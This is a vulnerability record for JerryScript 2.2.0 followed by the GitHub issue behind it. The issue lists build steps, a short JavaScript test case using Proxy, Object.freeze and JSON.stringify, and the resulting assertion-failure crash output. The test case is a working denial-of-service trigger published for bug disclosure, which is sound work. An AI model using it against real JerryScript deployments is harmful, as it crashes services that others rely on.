JerryScript 2.2.0 allows attackers to cause a denial of service (assertion failure) because a property key query for a Proxy object returns unintended data.
cpe:2.3:a:jerryscript:jerryscript:2.2.0:*:*:*:*:*:*:*
88EBD351-0E34-480A-906A-603AC3920FBF
OR
###### JerryScript revision
https://github.com/jerryscript-project/jerryscript/commit/6cd309b5252d15f3e3e6481c72a4d8fa7f9557a9

###### Build platform
Ubuntu 20.04 LTS (Linux 5.4.0-31-generic x86_64)

###### Build steps

```sh
python tools/build.py --profile=es2015-subset --lto=off --compile-flag=-g \
--error-messages=on --debug --compile-flag=-g --strip=off --logging=on \
 --compile-flag=-fsanitize=address --stack-limit=15
```

###### Test case

```
function main() {
var v4 = [13.37,13.37,1337,13.37,13.37];
var v5 = new Proxy(JSON,v4);
var v7 = Object.freeze(v5);
var v8 = JSON / 13.37;
var v9 = JSON.stringify(v7);
}
main();
```

###### Output

```
$ build/bin/jerry test.js
ICE: Assertion 'ecma_is_value_string (value)' failed at /tmp/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c(ecma_get_string_from_value):742.
Error: ERR_FAILED_INTERNAL_ASSERTION
Aborted (core dumped)
```
Assertion 'ecma_is_value_string (value)' failed at jerry-core/ecma/base/ecma-helpers-value.c(ecma_get_string_from_value):742
This is a GitHub Issue
repo:jerryscript
owner:jerryscript-project
Title : Assertion 'ecma_is_value_string (value)' failed at jerry-core/ecma/base/ecma-helpers-value.c(ecma_get_string_from_value):742
Issue date:

--- start body ---
###### JerryScript revision
https://github.com/jerryscript-project/jerryscript/commit/6cd309b5252d15f3e3e6481c72a4d8fa7f9557a9

###### Build platform
Ubuntu 20.04 LTS (Linux 5.4.0-31-generic x86_64)

###### Build steps

```sh
python tools/build.py --profile=es2015-subset --lto=off --compile-flag=-g \
--error-messages=on --debug --compile-flag=-g --strip=off --logging=on \
 --compile-flag=-fsanitize=address --stack-limit=15
```

###### Test case

```
function main() {
var v4 = [13.37,13.37,1337,13.37,13.37];
var v5 = new Proxy(JSON,v4);
var v7 = Object.freeze(v5);
var v8 = JSON / 13.37;
var v9 = JSON.stringify(v7);
}
main();
```

###### Output

```
$ build/bin/jerry test.js
ICE: Assertion 'ecma_is_value_string (value)' failed at /tmp/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c(ecma_get_string_from_value):742.
Error: ERR_FAILED_INTERNAL_ASSERTION
Aborted (core dumped)
```
--- end body ---

comments :
--- start comments ---

--- end comments ---